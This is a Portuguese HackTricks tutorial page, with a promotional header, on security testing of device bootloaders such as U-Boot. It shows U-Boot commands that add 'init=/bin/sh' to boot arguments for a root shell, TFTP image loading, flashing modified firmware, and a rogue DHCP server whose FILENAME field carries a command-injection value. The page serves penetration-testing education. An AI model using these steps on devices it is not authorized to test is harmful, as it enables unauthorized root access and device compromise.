hacktricks/physical-attacks/firmware-analysis/bootloader-testing.md

57 lines
3.7 KiB
Markdown
Raw Normal View History

<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
Os seguintes passos são recomendados para modificar as configurações de inicialização do dispositivo e bootloaders como o U-boot:
1. **Acesse o Shell do Interpretador do Bootloader**:
- Durante a inicialização, pressione "0", espaço ou outros "códigos mágicos" identificados para acessar o shell do interpretador do bootloader.
2. **Modifique os Argumentos de Inicialização**:
- Execute os seguintes comandos para adicionar '`init=/bin/sh`' aos argumentos de inicialização, permitindo a execução de um comando shell:
%%%
#printenv
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
#saveenv
#boot
%%%
3. **Configure um Servidor TFTP**:
- Configure um servidor TFTP para carregar imagens em uma rede local:
%%%
#setenv ipaddr 192.168.2.2 #IP local do dispositivo
#setenv serverip 192.168.2.1 #IP do servidor TFTP
#saveenv
#reset
#ping 192.168.2.1 #verifique o acesso à rede
#tftp ${loadaddr} uImage-3.6.35 #loadaddr pega o endereço para carregar o arquivo e o nome do arquivo da imagem no servidor TFTP
%%%
4. **Utilize `ubootwrite.py`**:
- Use `ubootwrite.py` para escrever a imagem do U-boot e enviar um firmware modificado para obter acesso root.
5. **Verifique as Características de Depuração**:
- Verifique se as características de depuração, como log verbose, carregamento de kernels arbitrários ou inicialização de fontes não confiáveis, estão habilitadas.
6. **Interferência de Hardware com Cautela**:
- Tenha cuidado ao conectar um pino à terra e interagir com chips de flash SPI ou NAND durante a sequência de inicialização do dispositivo, especialmente antes da descompressão do kernel. Consulte a folha de dados do chip de flash NAND antes de curto-circuitar os pinos.
7. **Configure um Servidor DHCP Falso**:
- Configure um servidor DHCP falso com parâmetros maliciosos para um dispositivo ingerir durante uma inicialização PXE. Utilize ferramentas como o servidor auxiliar DHCP do Metasploit (MSF). Modifique o parâmetro 'FILENAME' com comandos de injeção de comando, como `'a";/bin/sh;#'` para testar a validação de entrada nos procedimentos de inicialização do dispositivo.
**Nota**: Os passos que envolvem interação física com os pinos do dispositivo (*marcados com asteriscos) devem ser abordados com extrema cautela para evitar danificar o dispositivo.
# Referências
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)